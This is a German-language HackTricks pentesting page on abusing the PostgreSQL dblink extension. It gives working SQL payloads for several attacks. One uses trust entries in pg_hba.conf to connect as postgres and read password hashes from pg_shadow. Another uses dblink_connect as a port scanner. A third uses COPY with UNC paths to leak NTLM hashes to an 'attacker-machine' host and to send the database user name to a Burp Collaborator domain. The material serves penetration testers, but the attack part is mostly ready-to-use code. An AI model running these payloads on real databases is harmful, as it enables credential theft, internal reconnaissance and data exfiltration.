Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Finden Sie weitere Informationen zu diesen Angriffen im Originalpapier.

Seit PostgreSQL 9.1 ist die Installation zusätzlicher Module einfach. Registrierte Erweiterungen wie dblink können mit CREATE EXTENSION installiert werden:

CREATE EXTENSION dblink;

Sobald Sie dblink geladen haben, könnten Sie einige interessante Tricks ausführen:

Privilegieneskalation

Die Datei pg_hba.conf könnte schlecht konfiguriert sein und Verbindungen von localhost als beliebiger Benutzer ohne Passwortkenntnis erlauben. Diese Datei befindet sich typischerweise in /etc/postgresql/12/main/pg_hba.conf und eine schlechte Konfiguration sieht so aus:

local    all    all    trust

Beachten Sie, dass diese Konfiguration häufig verwendet wird, um das Passwort eines DB-Benutzers zu ändern, wenn der Administrator es vergisst, sodass Sie es manchmal finden können. Beachten Sie auch, dass die Datei pg_hba.conf nur vom Benutzer und der Gruppe postgres lesbar und nur vom Benutzer postgres beschreibbar ist.

Dieser Fall ist nützlich, wenn Sie bereits eine Shell im Opfer haben, da Sie so eine Verbindung zur PostgreSQL-Datenbank herstellen können.

Eine weitere mögliche Fehlkonfiguration besteht in etwas wie diesem:

host    all     all     127.0.0.1/32    trust

Da es jedem vom localhost ermöglicht, sich als beliebiger Benutzer mit der Datenbank zu verbinden. In diesem Fall und wenn die dblink-Funktion funktioniert, könnten Sie die Berechtigungen erhöhen, indem Sie sich über eine bereits bestehende Verbindung mit der Datenbank verbinden und auf Daten zugreifen, auf die Sie nicht zugreifen sollten:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Port Scanning

Durch den Missbrauch von dblink_connect könntest du auch offene Ports suchen. Wenn diese **Funktion nicht funktioniert, solltest du versuchen, dblink_connect_u() zu verwenden, da die Dokumentation besagt, dass dblink_connect_u() identisch mit dblink_connect() ist, mit dem Unterschied, dass es Nicht-Superusern erlaubt, sich mit jeder Authentifizierungsmethode zu verbinden_.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Beachten Sie, dass Sie bevor Sie dblink_connect oder dblink_connect_u verwenden können, möglicherweise Folgendes ausführen müssen:

CREATE extension dblink;

UNC-Pfad - NTLM-Hash-Offenlegung

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Last updated